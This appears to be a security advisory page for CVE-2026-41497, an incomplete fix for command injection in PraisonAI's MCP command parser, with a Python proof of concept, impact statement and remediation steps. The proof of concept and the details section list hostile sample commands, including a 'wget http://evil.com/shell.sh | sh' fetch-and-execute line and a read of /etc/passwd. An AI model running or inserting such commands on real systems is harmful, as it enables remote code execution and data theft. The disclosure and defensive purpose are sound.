CVE-2026-41497: PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection

Published Apr 17, 2026
·
Updated

Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parsemcpcommand(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

- Ecosystem: PyPI - Package: MervinPraison/PraisonAI - Affected versions: < 47bff65413be - Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parsemcpcommand() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parsemcpcommand() still lacks three critical controls: there is no ALLOWEDCOMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parsemcpcommand() and passed directly to subprocess execution without filtering.

PoC

python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parsemcpcommand()

Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parsemcpcommand() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands.

Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """

import sys import os import importlib.util

Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCPPATH = "/tmp/praisonaireal/src/praisonai/praisonai/cli/features/mcp.py"

def loadmcphandler(): """Load the real MCPHandler class from the vulnerable source.""" basepath = "/tmp/praisonaireal/src/praisonai/praisonai/cli/features/base.py"

specbase = importlib.util.specfromfilelocation("featuresbase", basepath) modbase = importlib.util.modulefromspec(specbase) sys.modules["featuresbase"] = modbase

with open(MCPPATH) as f: source = f.read()

source = source.replace("from .base import FlagHandler", """ class FlagHandler: def printstatus(self, msg, level="info"): print(f"[{level}] {msg}") """)

ns = {"name": "mcpmodule", "file": MCPPATH} exec(compile(source, MCPPATH, "exec"), ns) return ns["MCPHandler"]

def main(): MCPHandler = loadmcphandler() handler = MCPHandler()

print(f"Source file: {MCPPATH}") print(f"Loaded MCPHandler from real PraisonAI source") print()

maliciouscommands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"childprocess\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ]

print("Testing parsemcpcommand with malicious inputs:") print()

allaccepted = True for cmdstr in maliciouscommands: try: cmd, args, env = handler.parsemcpcommand(cmdstr) print(f" Input: {cmdstr}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmdstr}") print(f" Result: REJECTED ({e})") allaccepted = False print()

if allaccepted: print("ALL malicious commands accepted without validation!") print()

with open(MCPPATH) as f: source = f.read()

hasallowlist = "ALLOWEDCOMMANDS" in source or "allowlist" in source.lower() hasbasenamecheck = "os.path.basename" in source hasvalidation = hasallowlist or hasbasenamecheck

print(f"Has command allowlist: {hasallowlist}") print(f"Has basename check: {hasbasenamecheck}") print(f"Has any command validation: {hasvalidation}") print()

if not hasvalidation: print("COMMAND INJECTION: parsemcpcommand() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0)

print("Some commands were rejected - validation present") sys.exit(1)

if name == "main": main()

Steps to reproduce: 1. git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonaireal 2. cd /tmp/praisonaireal && git checkout 47bff654~1 3. python3 poc.py

Expected output: VULNERABILITY CONFIRMED parsemcpcommand() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.

Impact

An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.

Suggested Remediation

Implement a strict allowlist of permitted executables (e.g., npx, uvx, node, python) in parsemcpcommand(). Validate commands against os.path.basename() to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., -c, -e flags enabling inline code execution).

Other sources

PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parsemcpcommand(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.

— NVD

Affected Software

3 affected componentsFixes available
MervinPraison PraisonAI<4.6.9
Praison PraisonAI<4.6.9
pip/praisonai<4.5.149
4.5.149

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.5.149
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 4.6.9
  3. Compensating control

    In MCPHandler.parse_mcp_command(), allow only explicitly permitted executables (such as npx, uvx, node, and python), validate executable names with os.path.basename() to prevent path-based injection, and inspect arguments to reject shell metacharacters and dangerous inline-execution flags such as -c and -e.

Event History

Apr 17, 2026
Advisory Published
via OSV·10:23 PM
Data Sourced
via OSV·10:23 PM
DescriptionSeverityWeaknessAffected Software
May 8, 2026
CVE Published
via MITRE·01:23 PM
Data Sourced
via MITRE·01:23 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:10 PM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41497?

CVE-2026-41497 is classified as a high severity vulnerability due to its potential for command injection exploits.

2

How do I fix CVE-2026-41497?

To fix CVE-2026-41497, upgrade PraisonAI to version 4.6.9 or later where the command handling has been properly secured.

3

What vulnerability does CVE-2026-41497 address?

CVE-2026-41497 addresses an incomplete fix for the previously reported CVE-2026-34935 regarding command injection in PraisonAI.

4

Which versions of PraisonAI are affected by CVE-2026-41497?

Versions of PraisonAI before 4.6.9 are affected by CVE-2026-41497.

5

Is CVE-2026-41497 related to any other vulnerabilities?

Yes, CVE-2026-41497 is related to CVE-2026-34935 as it addresses an incomplete fix for the same command injection issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203